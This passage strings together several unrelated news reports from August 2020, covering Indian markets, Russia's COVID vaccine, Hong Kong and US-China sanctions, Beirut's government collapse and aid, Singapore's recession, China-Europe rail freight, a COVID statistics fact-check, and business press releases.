towards 11,435 and 11,600 levels. In case of decline, the index will initially find support around its 20-day EMA and then around its 200-day SMA, which are now placed at 11,030 and 10,850 levels, respectively. As for the day, support is placed at around 11,160 and then at 11,106 levels, while resistance is observed at 11,250 and then at 11,286 levels." 9. 22 AM: Global cues Global equities were trading higher today, although on a cautious note amid renewed tension between US and China after banning transaction of Chinese apps in US dampened the market sentiments. While the risk appetite was also muted as US lawmakers struggling to strike a stimulus deal ahead of crucial job numbers scheduled for today's session. 9. 15 AM: Opening session Sensex and Nifty opened on a bullish note on Tuesday, extending yesterday's gains tracking mixed cues from global markets. SGX Nifty was rising 30 points higher, indicating positive trend in domestic grounds today. Sensex was rising 189 points higher at 38,371 and Nifty gained 52 points higher at 11,322. 9. 05 AM: Stocks in news ICICI Bank, Vodafone Idea, HDFC, Titan, IndiGo, Bank of Baroda among others are the top stocks to watch out for in Tuesday's trading session. Stocks in news: ICICI Bank, Vodafone Idea, HDFC, Titan, IndiGo, Bank of Baroda 8.55 AM: Global cues Overseas, Asian stocks were trading lower on Tuesday on back of escalated US-China tensions, while Wall Street saw a mixed session yesterday as investors eyed stalled US stimulus efforts. 8. 50 AM: FII/ DII data Foreign portfolio investors (FPIs) bought shares worth Rs 302.88 crore, while domestic institutional investors (DIIs), were net sellers to the tune of Rs 504.92 crore in the Indian equity market on 10 August, provisional data showed. 8. 45 AM: Cues from global stocks Globally, markets in the Unites States and Europe were trading higher on Monday as investor sentiments were boosted by US President Donald Trump's decision to unilaterally extend joblessness benefits amid the coronavirus pandemic-led economic crisis. Share market expectations: 7 things you need to know before tomorrow's opening bell 8. 40 AM: Earnings Today Bosch, Motherson Sumi Systems, Metropolis Healthcare, KRBL, Galaxy Surfactants, Bajaj Electricals, Symphony, Shriram City Union Finance, Chalet Hotels AIA Engineering, Central Bank of India and Oracle Financial Services Software are among companies which will announce their April- June quarter results on Tuesday. 8. 35 AM: Index of Industrial Production (IIP) The central government is scheduled to release factory output or IIP growth data for June on August 11. In May, the country's industrial output declined by 34.7 per cent, albeit at a slower pace compared to April 2020, where the index had contracted by 57.6 per cent, as per data released by the Ministry of Statistics & Programme Implementation. 8. 30 AM: Closing Key domestic equity benchmarks ended with decent gains after a volatile session on Monday. Sensex ended 141 points higher at 38,182 and Nifty gained 60 points to 11,274. Sensex ends 141 points higher, Nifty at 11,270; Cipla, L&T, M&M top gainers The former commissioner of the Food and Drug Administration (FDA) has warned a Russian vaccination for COVID-19 may not prove to be effective, while suggesting its reported approval could be a further attempt by the Kremlin to stoke doubts about US vaccine trials. Scott Gottlieb, who led the FDA under Donald Trump from 2017 until last year, told CNBCs Squawk Box about the vaccination that Russia has claimed was the first to combat the novel coronavirus: I wouldnt take it, certainly not outside a clinical trial right now. He added: It appears that its only been tested in several hundred patients at most. In a follow up tweet, the former commissioner wrote: Russia was reported to be behind disinformation campaigns to sow doubts in US about our Covid vaccines. He added: Todays news that they approved a vaccine on the equivalent of phase 1 data may be another effort to stoke doubts or goad US into forcing early action on our vaccines. Russias president, Vladimir Putin, announced the Health Ministrys approval and said one of his two adult daughters already was inoculated. He said the vaccine underwent the necessary tests and was shown to provide lasting immunity to the coronavirus, although Russian authorities have offered no proof to back up claims of safety or effectiveness. I know it has proven efficient and forms a stable immunity, Mr Putin said. We must be grateful to those who made that first step very important for our country and the entire world. However, scientists in Russia and other countries sounded an alarm, saying that rushing to offer the vaccine before final-stage testing could backfire. Whats called a Phase 3 trial which involves tens of thousands of people and can take months is the only way to prove if an experimental vaccine is safe and really works. By comparison, vaccines entering final-stage testing in the US require studies of 30,000 people each. Two vaccine candidates already have begun those huge studies, with three more set to get underway by fall. Fast-tracked approval will not make Russia the leader in the race, it will just expose consumers of the vaccine to unnecessary danger, said Russias Association of Clinical Trials Organizations, while urging government officials to postpone approving the vaccine without completed advanced trials. While Russian officials have said large-scale production of the vaccine wasnt scheduled until September, Deputy Prime Minister Tatyana Golikova said vaccination of doctors could start as early as this month. Officials say they will be closely monitored after the injections. Mass vaccination may begin as early as October. We expect tens of thousands of volunteers to be vaccinated within the next months, Kirill Dmitriev, chief executive of the Russian Direct Investment Fund that bankrolled the vaccine, told reporters. The vaccine, developed by the Gamaleya Institute in Moscow with assistance from Russias Defense Ministry, uses a different virus the common cold-causing adenovirus thats been modified to carry genes for the spike protein that coats the coronavirus, as a way to prime the body to recognise if a real COVID-19 infection comes along. Thats a similar technology as vaccines being developed by Chinas CanSino Biologics and Britains Oxford University and AstraZeneca but unlike those companies, Russian scientists havent published any scientific information about how the vaccine has performed in animal tests or in early-stage human studies. Additional reporting by AP The number of Americans named by Beijing exactly equals the number of Hong Kong and Chinese officials placed on a sanctions list by the US last week Beijing: China on Monday announced unspecified sanctions against 11 US politicians and heads of organisations promoting democratic causes, including Senators Marco Rubio and Ted Cruz, who have already been singled out by Beijing. Foreign ministry spokesperson Zhao Lijian on Monday said the 11 had performed badly on issues concerning Hong Kong, where China has cracked down on opposition voices following its imposition of a national security law in the semi-autonomous southern Chinese city last month. The number of Americans named by the ministry exactly equals the number of Hong Kong and Chinese officials placed on a sanctions list by the US last week over the crackdown. China showed its determination to defy such pressure on Monday by arresting leading independent media tycoon Jimmy Lai and raiding the publishers headquarters. The relevant actions of the US blatantly intervened in Hong Kong affairs, grossly interfered in Chinas internal affairs, and seriously violated international law and the basic norms of international relations," foreign ministry spokesperson Zhao Lijian said at a daily briefing on Monday. China urges the US to have a clear understanding of the situation, correct mistakes, and immediately stop interfering in Hong Kong affairs and interfering in Chinas internal affairs." Four other lawmakers were named by the foreign ministry: Senators Josh Hawley, Tom Cotton and Pat Toomey and Representative Chris Smith. Cotton, an Arkansas Republican, said he was sanctioned for defending the victims of Communist Party rule, including Hong Kong students fighting for democracy. Chinese Communism is the most dangerous threat to freedom in the world, and I will never back down from fighting it," he said in a statement. The others sanctioned were National Endowment for Democracy President Carl Gershman, National Democratic Institute President Derek Mitchell, International Republican Institute President Daniel Twining, Human Rights Watch Executive Director Kenneth Roth, and Michael Abramowitz, President of Freedom House. Beijing already placed a travel ban on Rubio, Cruz and Smith last month after Washington announced similar measures against Chinese officials linked to measures taken against Muslims in the northwestern Chinese region of Xinjiang. The standing committee of China's national legislature passed the National Security Law last month, bypassing the city's Legislative Council and the public, where such legislation has faced stiff opposition for years. The move came in response to months of sometimes violent anti-government protests last year that Beijing said were encouraged by foreign forces in a bid to overthrow Chinese rule over the former British colony that was handed over to Chinese rule in 1997 under a one country, two systems" framework meant to last until 2047. The New Orleans DUI defense attorneys at the Barkemeyer Law Firm are pleased to announce their team is now providing statewide DWI defense representation to clients across the state of Louisiana. For over 15 years, the firm has dedicated their efforts to helping those who have been charged with crimes get their lives back on track and protect their future. With this mission in mind, the Louisiana DWI lawyers at the Barkemeyer Law Firm aim is to keep their clients from being convicted and going to jail, help them maintain a clean criminal record, and keep them driving. "Being charged with a crime is often a scary and confusing ordeal. Many people who have had this experience find themselves at a loss about what their charges mean and what options they have for fighting them. Fortunately, I have fifteen years of experience with that, and my team stands ready to help those facing DWI charges clear their name and their record." Understanding that each client's DWI case is different, Barkemeyer Law Firm works hard to determine the details that might affect each one, including the facts of the stop and the terms of the search, field sobriety tests, breathalyzer, etc. and develop a clear winning strategy to fight their charges. Their team knows how to thoroughly examine all the evidence against their clients and takes each client through the arraignment, motions, trial, and sentencing process to ensure their rights are upheld and they obtain the best possible outcome. The New Orleans DWI defense attorneys at the Barkemeyer Law Firm stay ahead of the new technology and information so they can create successful defenses for their clients. We take pride in being the best DWI lawyers that we can be. We do that because we never want to see a client get wrongfully convicted. ABOUT BARKEMEYER LAW FIRM Barkemeyer Law Firm is a boutique New Orleans DWI defense attorney law firm. They have been members and supporters of the Louisiana State Bar Association, Louisiana Association for Criminal Defense Lawyers, and National Association of Criminal Defense Lawyers. Our law offices have successfully represented clients in Orleans, Jefferson, Lafayette, Plaquemines, St. John, St. Tammany, St. Charles Parishes, and many more. Our mission is to prevent our clients from going to jail and protecting their criminal record for their future. Preliminary analysis of the videos on the military exercises in Azerbaijan shows that, in general, although they covered a large number of settlements in terms of scale, they did not contain significant novelties with their nature and content. Tigran Abrahamyan, head of the Henaket Analytical Center and former security adviser to the Artsakh (Nagorno-Karabakh) President, noted about this on Facebook. "A large number of weapons in the arsenal of Azerbaijan and Turkey were not observed in the published videos. Personally, I was surprised by the absence of footage on the engagement of drones, which was talked about a lot before the military exercises. In general, the displayed footage was not very impressive, and the presented military equipment was mainly in small batches. The political scale of these military exercises was many times greater than the military component," Abrahamyan added. Hassan Diab's decision comes after days of violent demonstrations following the explosions in Beirut port. The governor of Beirut, Marwan Abboud has updated the toll of the August 4 disaster: 220 dead and 110 missing; 6 thousand wounded. The country risks "economic, social and political collapse". Beirut (AsiaNews) - With a televised message at 19.30 last night, the government of Prime Minister Hassan Diab stepped down en masse. The decision was made after days of violent demonstrations following the explosions in Beirut port. Demonstrators blamed the country's leaders, their negligence and corruption as responsible for the explosions. Beirut governor, Marwan Abboud updated the figures of the disaster of 4 August: 220 dead and 110 missing; 6 thousand wounded. The victims include many foreign workers and truck drivers operating in the port. Diab was appointed last January, and was to be prime minister of a technical government, capable of putting the country's economy back on its feet and restoring confidence in the government in the face of popular anger over corruption, ineptitude and private interests of the political class. Two days ago, Diab had asked for at least "another two months" to implement some reforms, but the increasingly violent demonstrations and the resignations of many of his ministers forced him to throw in the towel. In his speech he defended the good work of his government, but also said that corruption in the country as a wall fortified by a class that is resorting to all dirty methods in order to resist and preserve its gains". The international community is following developments closely. The French foreign minister, Jean-Yves Le Drian, called for the "rapid formation" of a new government that responds to the needs of the population and that responds to the country's main challenges, "especially the reconstruction of Beirut and reforms, without which the country is heading towards economic, social and political collapse. Singapores recession was deeper than first estimated in the second quarter as the coronavirus pandemic dealt a major blow to Asias trade-reliant economies. The city-state has been hit hard by Covid-19 with the country under a lockdown for most of the second quarter to curb the spread of the virus. There continues to be significant uncertainty over how the Covid-19 situation will evolve in the coming quarters, and correspondingly, the trajectory of the economic recovery in both the global and domestic economies, Gabriel Lim, permanent secretary for trade and industry, told a briefing. The outlook for the Singapore economy has weakened slightly since May. Gross domestic product (GDP) fell a record 13.2% year-on-year in the second quarter, revised government data showed on Tuesday, versus the 12.6% drop seen in advance estimates. The economy fell 42.9% from the previous three months on an annualised and seasonally adjusted basis, also a record and larger than the 41.2% contraction in the governments initial estimates. The data matched analyst expectations. The government said it now expects full-year GDP to contract between 5% and 7% versus its previous forecast for a 4% to 7% decline. The transport and tourism hub is still facing the biggest downturn in its history. The downgrade in second quarter and full-year GDP growth points to a slower and sluggish economic recovery, said Chua Hak Bin, an economist at Maybank. He said strict border controls, social distancing rules and foreign worker shortages will weigh on the pace of the recovery, even though lockdown measures have been relaxed. The GDP slump marked the second consecutive quarter of contraction for the global finance hub - having declined 0.3% year-on-year in the first quarter and 3.1% quarter-on-quarter - meeting the definition for a technical recession. Singapores data comes as other large Asian economies such as Japan are also set to report a record contraction in the second quarter. Meanwhile, South Koreas exports extended double digit declines in the first week of August. Economies were starting re-tighten measures after the fresh emergence of outbreaks, said Selena Ling, OCBC Banks head of treasury research and strategy. That is going to dampen, if not potentially kill off, any of the recovery hopes that people were looking forward to, she said. Singapores central bank had eased its monetary policy in March, while the government has pumped in nearly S$100 billion ($72 billion) worth of stimulus to blunt the impact of the pandemic. HONG KONG, Aug. 10 (Xinhua) -- The Office of the Commissioner of the Chinese foreign ministry in the Hong Kong Special Administrative Region (HKSAR) on Monday urged the Foreign Correspondents' Club (FCC) in Hong Kong to stop defaming the implementation of the national security law in Hong Kong under the pretext of the freedom of the press. A spokesperson of the commissioner's office expressed strong dissatisfaction and firm opposition to an FCC statement that groundlessly accused the national security law and the Hong Kong police's enforcement of the law, and beautified the crimes of Jimmy Lai and others. No one has privileges above the law, said the spokesperson, adding that Jimmy Lai openly colluded with external forces to carry out activities endangering national security, deliberately undermining Hong Kong's prosperity and stability, and damaging the fundamental interests and well-being of Hong Kong residents, which has hindered the steady and sustained development of "one country, two systems" and the long-term stability of Hong Kong. The FCC hastily jumped out to exonerate Lai, which is to help and collaborate with anti-China forces to mess up Hong Kong, the spokesperson added. The spokesperson pointed out that the national security law protects Hong Kong residents' rights and freedoms in accordance with law, including the freedom of the press. The FCC has been operating in Hong Kong for nearly 70 years and should know well that the freedom of the press in Hong Kong is guaranteed, the spokesperson said. "At the same time, we should also understand that there has never been an absolute freedom of the press that is above the law in the world. No one should engage in activities that interfere in China's internal affairs and undermine China's security and HKSAR's stability under the guise of the freedom of the press," the spokesperson said, adding that one must abide by the laws and regulations, including the national security law, in the HKSAR. The spokesperson stressed that the Hong Kong police, in accordance with the national security law and local laws, have taken actions against instigators of Hong Kong riots and safeguarded national security and Hong Kong's social stability. "We firmly support the Hong Kong police in strictly enforcing the law and firmly oppose any external interference in Hong Kong affairs. The FCC should respect the facts, recognize right and wrong, and stop denigrating the implementation of the national security law under the guise of the freedom of the press," the spokesperson said. PHOENIX, Aug. 11, 2020 /PRNewswire/ -- Phoenix-based software solutions provider, Silverware Inc. developed its newest application to provide customers with an efficient tool for accurately sending data for product label creation. Working with Seagull Scientific, the Silverware team created a first-of-its-kind app that connects Microsoft Dynamics D365 Business Central to Seagull Scientific's best-in-class labeling software, BarTender. Silverware BarTender Integration was officially released on Microsoft AppSource Wednesday, August 5. Sara Silver, president and solution architect The app allows users to transfer barcode and label data to BarTender with one click. Silverware BarTender Integration provides a tool for mapping data in Business Central to fields on the BarTender label. It is designed to streamline the process and provide businesses with full control over label design. Once information is mapped and design is complete, labels will print from any page in Business Central. "Previously, the only option was to enter data manually," explains Sara Silver, president and solution architect for Silverware Inc. "We wanted to provide customers with an automated tool that not only increases accuracy and efficiency, it also offers flexibility and the ability to customize product labels with the information companies want and need to communicate." Silverware BarTender Integration supports the Essential and Premium edition of Microsoft Dynamics 365 Business Central and requires BarTender Automation Edition or higher. Silverware Inc. is currently offering new users a free one-month trial through Microsoft AppSource. Silverware is a Microsoft Gold Partner and a Top 100 BSI VAR Star. In addition to Silverware BarTender Integration, the company also developed Silverware QC designed to support a company's quality management strategy. The QC application allows users to drill directly into item details identify overall production trends before an item becomes a finished good. It also gives companies the data they need for continued process improvement Visit Silverware BarTender Integration to learn more about the app or go to silverw.com to learn more about the company and the products and services it provides. About Silverware Inc. Silverware Inc., founded in 1988, is headquartered in Phoenix and has an office in Seattle. The company specializes in cloud solutions, enterprise resource planning (ERP), solution design, implementation, and support for businesses throughout the U.S. For more information, visit silverw.com or call (480) 423-8324. About BarTender by Seagull Scientific BarTender software by Seagull Scientific transforms data into the labels, barcodes, documents, and RFID that drive business. Hundreds of thousands of companies in supply chain, manufacturing, chemicals, healthcare, food and beverage, aerospace, pharmaceuticals, logistics and other industries trust BarTender with the labeling and marking processes that keep their businesses running. With corporate headquarters and software development in Bellevue, Washington, USA, and branch offices in Madrid, Taipei and Tokyo, BarTender is available in more than 150 countries through a global network of local partners. Media contact: Juliet Straker [email protected] (602) 549-7188 SOURCE Silverware Inc. 3 1 of 3 Lori Van Buren/Times Union Show More Show Less 2 of 3 Lori Van Buren/Times Union Show More Show Less 3 of 3 ALBANY Gov. Andrew M. Cuomo announced Tuesday that Hawaii, South Dakota and the Virgin Islands have been added to the list of states and U.S. territories with infection rates requiring visitors who cross into New York to follow a strict 14-day quarantine to prevent the spread of coronavirus. At the same time, the state announced that Alaska, New Mexico, Ohio, Rhode Island and Washington have been removed from the quarantine list. Rapid growth seen in China-Europe transport services After years of being a supplemental transport option for China's trade with the European Union and the Eurasian Economic Union, as well as non-EU member states, rail transportdue in part to the COVID-19 pandemicis on the rise, with the China-Europe freight train service having become a vital trading channel in support of the world's economic recovery this year, said officials and industry experts. Despite the contagion's destructive impact on the global economy, the pandemic has created opportunities for railway transport, regional economic restructuring and innovative activities in certain parts of the world, said Li Muyuan, secretary-general of the Beijing-based China Container Industry Association. As many ports in Italy, the Netherlands, Spain and Portugal have temporarily shut or face severe curbs on the movement of people and vessels, container availability had dwindled sharply at major European ports such as Hamburg, Rotterdam and Antwerp in the second quarter. This caused shipping issues for traders in China and Europe alike, said the China Chamber of International Commerce. Li said freight train services between China and Europe are becoming increasingly popular with importers and exporters on both sides, as commercial activities of shipping companies and airlines remain suspended or restricted due to the pandemic. The number of journeys made by China-Europe freight trains amounted to 5,122 in the first half, up 36 percent on a yearly basis, breaking the monthly record several times over, according to China State Railway Group Co Ltd, the nation's railway operator. The China-Europe freight train service was initiated in 2011 and is considered to be a significant part of the Belt and Road Initiative to stimulate trade between China and economies related to the initiative. Bai Ming, a senior researcher at the China Academy of International Trade and Economic Cooperation in Beijing, said that as the pandemic has caused a global recessionespecially for the world's three major economic regions of East Asia, Europe and North Americathe China-Europe freight train service to a certain extent has made up for the precipitous drop in maritime and air transport capability between East Asia and Europe so far this year. Senior officials from China and the European Commission reached common consensus in areas including cooperation in COVID-19 responses and the security of industrial and supply chains. Negotiations regarding the bilateral Comprehensive Agreement on Investment were held during the eighth China-EU High-Level Trade and Economic Dialogue in late July, and Bai said an early signing of the CAI will further benefit cargo train service between China and Europe during the post-pandemic era. Moreover, China, Japan and South Korea's push for accelerating negotiations on the China-Japan-South Korea Free Trade Agreement will also see more industrial goods made by China's two neighbors on trains to Europe to support the multilateral trading system and regional trade, said Wei Xiaoquan, a researcher specializing in regional economic development at the University of International Business and Economics in Beijing. Wei said as these countries are major manufacturing powerhouses and outbound direct investors in Asia, taking advantage of the China-Europe freight train service, bilateral and trilateral FTAs will not only upgrade the level of trade liberalization for cargo, services and investment between them over the long run, but also offer Japanese and South Korean companies more choices on how to ship products. Because there isn't much capacity for Chinese companies to lease belly-hold cargo space in the passenger aircraft of domestic and European airlines since the outbreak, China Post Group Corp launched regular freight train service to a number of European cities from Southwest China's Chongqing municipality and Yiwu, Zhejiang province, in March and April, respectively. The centrally administrated State-owned enterprise had operated 22 such transcontinental cargo train trips to Lithuania and Poland as of Aug 2. Some 8,481 metric tons of mail and goods were shipped via 1,303 rail containers in both directions. Liu Aili, chairman of China Post, said rail lines connecting China and Europe are able to ship a large amount of goods and medical supplies within 10 or 15 days in both directions after a number of countries tightened control ofor closedtheir ports and airports, causing delays in the distribution of goods. The Chinese company has shipped mail and goods to a total of 36 EU and non-EU countries, including Spain, Denmark, France, Cyprus, Switzerland and Norway, via local delivery after its trains arrived at Vilnius, Lithuania. China Post plans to run rail cargo services on the route once or twice a week in the second half, with 50 rail containers each time, to facilitate China-EU trade activities and offer European countries confidence in resuming production and maintaining stable trade with China. The pandemic has highlighted the rail services' strategic value in ensuring the global supply chain and the growth of BRI, Liu said. China Merchants Group, another central SOE, also organized freight train services between Shenyang, Liaoning province, in Northeast China, and European cities such as Hamburg and Duisburg, Germany; Enns, Austria; and Malaszewicze and Warsaw, Poland, in the first half of this year. The pandemic constraints in several countries prompted the company to come out with "plan B "solutions, such as increasing the frequency of transcontinental train services and ocean-to-rail services to assist domestic exporters as they resume production and exports, said Zhang Yi, general manager of Dalian-based Liaoning Port Group, a subsidiary of China Merchants Group. Railroad traffic pressure at Alataw Pass, a major rail port in the Xinjiang Uygur autonomous region, and Manzhouli, the largest rail and land port on the China-Russia border, in the Inner Mongolia autonomous region, was eased last month. Five freight assembly hubsZhengzhou, Chongqing, Chengdu, Xi'an and Urumqihad 4,003 trains with 40 and 50 carriages each in the first half, accounting for 78.15 percent of the total dispatched trains in more than 50 cities in China where China-Europe freight trains operate. The National Development and Reform Commission said in July that China has allocated 200 million yuan ($28.3 million) from the central budget to support the construction of transportation hubs in these five cities. The work is being undertaken to improve the efficiency of the transportation network for the China-Russia and China-Europe freight train services. Dang Yingjie, deputy director-general of the National Office of Port Administration at the General Administration of Customs, said the administration will support related parties with surging rail transportation demand by building hubs along rail routes, and will help them carry out cargo grouping operations and domestic and foreign goods sorting and transportation at Customs-supervised operating sites to further optimize operational capacity on the transcontinental railroad. China will continue to deepen its cooperation with related parties to promote the role of Authorized Economic Operator agreements and other policy tools to boost trade activities between China and Europe via rail, help companies resolve import and export issues and encourage more companies from economies related to the BRI to join AEO certification programs, Dang said. The program was advocated by the World Customs Organization for strengthening international supply chain security and facilitating movement of goods. Under the program, Customs bureaus from various regions form partnerships to collaboratively reduce barriers to Customs procedures and enhance global trade efficiency. The GAC said China has signed the largest number of AEO agreements worldwide to facilitate Customs clearance for companies. The administration announced in early August that China has launched automated railway manifest and transport systems in land ports across the country to further promote paperless operations at railway ports and cut the frequency and cost of Customs declarations. Feng Hao, a researcher at the NDRC's Institute of Comprehensive Transportation, said although the year 2020 is a period to expand clients for China-Europe freight trains, the market share contributed by these trains in China's trade with Europe accounts for just 1 percent of the total. Therefore, potential can still be explored via market expansion and international cooperation. After all, a seaborne mega container vessel can now carry up to 20,000 ocean shipping containers on long-distance trips at cheaper rates. Cities in both China and Europe should be aware of this dynamic and adequately arrange their shipping schedules, attract more clients and add more high value-added services to rail routes in the future, Feng said. Demonstrators take part in anti-government protests that have been ignited by a massive explosion in Beirut, Lebanon, on Aug. 10, 2020. (Hannah McKay/Reuters) Canada Promises More Aid to Beirut as Lebanons PM Resigns Amid Corruption Allegations Questions persist as to whether the aid will reach victims in a country plagued with corruption The Canadian government is promising an additional $25 million in aid to help the people of Lebanon struggling to recover from last weeks devastating explosion in Beirut. Canadas total contribution to the international aid effort now stands at $30 millionup from the $5 million promised last week after the Liberal government was criticized by some for not doing enough. Trudeau said Aug. 10 that the additional funding is intended to help trusted humanitarian aid groups support emergency medical services and provide shelter, food, and other essential items for people impacted by the blast. However, questions persist as to whether the aid will reach victims in a country plagued with corruption, including concerns such as missing money, funding diverted to non-existent infrastructure projects, and a lack of transparency on the governments part. Canadas additional aid was announced just hours after Lebanese Prime Minister Hassan Diab announced the resignation of his government following days of angry protests. He blamed the blast on the result of endemic corruption. An international donor teleconference on Aug. 9 raised a total of $298 million in emergency aid, organizers said. International leaders, government officials, and international organizations participated in the teleconference co-organized by France and the United Nations to bring emergency aid to Lebanon. The conference was hosted by French President Emmanuel Macron, who was mobbed last week by tearful victims of the Beirut explosion begging him to ensure the corruption they blame for the blast that devastated the capital does not profit from its destruction. Macrons response to the crowd in Beirut and in a later speech was unusually blunt: The aid will not fall into corrupt hands and Lebanons discredited government must change. The head of the International Monetary Fund, which wants an audit of the national bank before handing over any money, was also clear: No money without changes to ensure ordinary Lebanese arent crushed by debt whose benefits they never see. Current and future generations of Lebanese must not be saddled with more debts than they can ever repay, IMF head Kristalina Georgieva said during the conference. Commitment to these reforms will unlock billions of dollars for the benefit of the Lebanese people. In the short-term, the aid streaming into Lebanon is purely for humanitarian emergencies and relatively easy to monitor. The United States, France, Britain, Canada, and Australia, among others, have been clear that it is going directly to trusted local aid groups like the Lebanese Red Cross. Canadas International Development Minister Karina Gould also said at a news conference on Aug. 6 that Canadian aid for Beirut will be funnelled to trusted humanitarian organizations and not directed to the Lebanese government. We are in contact with the Lebanese government, but at this time, no direct aid is planned from Ottawa to the Lebanese government, she said. Gould said financial aid must come with significant fiscal and political reforms to ensure that assistance goes to benefiting the lives of the Lebanese people. But actual rebuilding requires massive imports of supplies and equipment. Contracts and subcontracts have given Lebanons ruling elite its wealth and power, while leaving the country with crumbling roads, regular electricity cuts, trash that piles on the streets, and intermittent water supplies. The level of infrastructure in Lebanon is directly linked today to the level of corruption, said Neemat Frem, a prominent Lebanese businessman and independent member of parliament. We badly need more dollars but I understand that the Lebanese state and its agencies are not competent. Lebanon has an accumulated debt of about $100 billion, for a population of just under 7 million people5 million Lebanese and 2 million Syrians and Palestinians, most of them refugees. Its electricity company, controlled like the port by multiple factions, posts losses of $1.5 billion a year, although Frem said most factories pay for their own generators because power is off more than its on. Theres grand theft Lebanon and theres petty theft Lebanon. Petty theft Lebanon exists but thats not what got the country in the hole were in, said Nadim Houry, executive director of the Arab Reform Initiative. Prior aid, Houry said, ended up as a tool in the hands of the political leaders, who kept their slice and doled out jobs and money to supporters. Protesters, tired of the small indignities they endure to get through a day37 percent of people report needing to pay bribes, compared with 4 percent in neighbouring Jordan, according to Transparency Internationaland the larger issue of a collapsing state, are going after both. Julien Courson, head of the Lebanon Transparency Association, said the countrys non-profits are forming a coalition to monitor how relief and aid money is spent. He estimated Lebanon loses $2 billion to corruption each year. Last Tuesdays blast is believed to have been detonated by thousands of tonnes of ammonium nitrate stored for seven years at a portside warehouse. We will continue to monitor this tragic situation, and work closely with the international community and humanitarian partners to identify how we can continue to support the people of Lebanon and respond to their urgent needs, said an Aug 11 statement from Ottawa. Gould was more explicit. Our government is sending a clear message to the Lebanese people that we will not only be there for them for the immediate response to this tragedy, but also for the rebuilding efforts over the long-term, she said in the statement. We are ready to do more and we will ensure that our investments go directly to communities affected. Trudeau said that a matching funding for Canadians has now been expanded to a maximum of $5 million. He encouraged Canadians to donate to the Lebanon matching fund, saying: Together, we can support the people of Lebanon as they work to heal and rebuild. More than 150 people were killed in the blast, thousands more were injured, and an estimated 300,000 residents were left homeless. With files from The Canadian Press and The Associated Press For too long Black women have been asked to do everything from rally the troops to risk their lives for the Democratic Party with no acknowledgment, no respect, no visibility, and certainly not enough support, the letter stated. Failing to select a Black woman in 2020 means you will lose the election. We dont want to choose between the lesser of two evils and we dont want to vote the devil we know versus the devil we dont because we are tired of voting for devils period. Texas Republicans selected a new party leader at last months virtual state convention, overwhelmingly supporting retired Army Lt. Col. Allen West, a former one-term U.S. House member from Florida as chairman over incumbent James Dickey. West described some state-level actions aimed at containing the spread of the coronavirus in the state as tyrannical during his address to delegates during the convention a criticism that he has carried over to media appearances following his election. During an appearance on a North Texas radio program on July 27, West talked about the states coronavirus response and the recovery rate for COVID-19, the disease caused by the coronavirus. "When I look at a state like Texas, which has 29 million in population, were getting close to I guess about 300,000 or so COVID-19 positive cases theres some questions about what a positive case really means and sadly weve lost about 3,900 Texans," West said. "Thats only .01% of our population. If you just want to look at the facts, and I know everyone is concerned about this resurgence of COVID-19, but again we see more testing, more positive cases but yet the death rate is continuing to drop. I dont want to see us get to the point where were imposing draconian measures, measures that go against our fundamental liberties and freedoms and rights over something that has a 99.9% recovery rate." West described the same recovery rate during an interview with a television station in Dallas on Sunday, stating: "99.9% of Texans are able to recover from COVID-19." Is that accurate? Wests numbers for positive cases and deaths are outdated and his figure for the recovery rate is wrong. "The statement that COVID-19 "has a 99.9% recovery rate" is something I would characterize as false," said Cory Zigler, an associate professor of statistics and data sciences and of womens health at the University of Texas. Coronavirus figures in Texas At the time of Wests statement on July 27, Texas was reporting 385,923 positive COVID-19 test results from molecular tests and 5,713 fatalities connected to the coronavirus. The state has since corrected the number of fatalities for July 27 as 5,489. West said the numbers he used in his calculation were from mid-July. When asked about the formula he used to calculate his recovery rate recoveries versus the states population he said it was meant to show the impact of the virus in the state. "I chose that comparative means because we would use the same methodology to assess any illness affects against the greater population," he said in a statement (which was later posted to the Texas Republican Partys Facebook page). But thats not true. Zigler said calculating the recovery rate would involve a count of the people who have been infected with COVID-19 and the count of those who recover which in Wests definition is all those who did not die. The latest numbers would put that rate closer to 98.7% Comparing recoveries to the population at-large does not produce a recovery rate. "You dont recover from something youve never had," Zigler said. Opalesque Industry Update - Alternative credit specialist CIFC has launched a long/short high yield UCITS fund managed by industry veteran Jason Horowitz, who has been running similar strategies successfully for over 10 years. Mr. Horowitz joined the New York-based manager in January as Head of U.S. High Yield Bond Investments. He has been managing the strategy for CIFC since February 1, 2020, delivering a 12.69% net gain to the end of July, compared with a 0.18% loss for the wider U.S. high yield market.[1] The strategy made positive returns during March at the height of market anxiety around Covid-19. The UCITS fund, which mirrors the existing strategy, is designed to seek high single-digit returns while protecting capital in down markets. The strategy is offered as a new sub-fund of CIFC Credit Fund ICAV, a UCITS structure domiciled in Dublin. CIFC London MD Josh Hughes said: "CIFC believes that this is the right time for a strategy like this, which has shown over the long-term that it can deliver attractive returns in all weathers. Jason has 25 years of investment experience and is supported by CIFC's strong credit research team. By launching the strategy within a UCITS fund structure we can open it up to a wider audience, including wealth managers and private banks, as well as European-based pension funds, family offices and other investors." Mr. Horowitz previously worked at Millennium Management. Prior to that he spent 13 years at Muzinich & Co., overseeing an award-winning long/short corporate credit hedge fund. He was joined at CIFC by Brandon Hole and Eric Seiden, who worked with Mr. Horowitz at Millennium Management as well. Mr. Horowitz said: "I believe that the high yield market is well-suited for a long/short strategy because there are lots of market inefficiencies that create opportunities in either direction for those with the research capacity and technical expertise. CIFC has a 47-strong investment team, with 20 analysts who will all bring ideas to this strategy." The strategy offered in UCITS form will seek to capture returns from four areas: identifying long/short opportunities through fundamental credit research; exploiting long and short technical opportunities and inefficiencies in different segments of the high yield market; investing in dependable credit from short-dated bonds with low-volatility characteristics; and arbitrage. The CIFC Long/Short High Yield strategy has a number of features that CIFC believes will help to reduce downside risk. Mr. Horowitz said: "We regularly stress-test the impact of possible macro events on industries and companies to understand where the risks lie and how we might mitigate them. We have a strict sell discipline for when our thesis changes or the outlook changes. And, of course, the ability to short means where we see particular risk, we have the opportunity to turn it to our investors' advantage. "We do not look to generate our entire year's return on one or two trades - we seek to maintain a diversified portfolio by credit and sector and closely monitor liquidity risk to the individual positions and portfolio overall. We focus on beta-adjusted portfolio-level net exposure, average rating, duration and yield as opposed to using a black box approach that may break down during periods of heightened volatility. We think that this gives us a good feel for what our risk is at any given time. "The Covid-19 pandemic is unparalleled, but we have experienced tough markets before, and though nothing is ever guaranteed, we can see lots of opportunities to protect the portfolio and generate strong returns." Steve Vaccaro, CEO and CIO of CIFC, said: "Jason, Brandon and Eric have a vast amount of expertise and experience in the high yield market. When you add this to CIFC's existing deep bench of corporate credit research analysts, it makes for a compelling proposition. This fund demonstrates our commitment to continuing to expand the range and flexibility of our investment solutions for investors around the world." Hollywood Censorship Exposed; HK Brings Crackdown On Free Press; 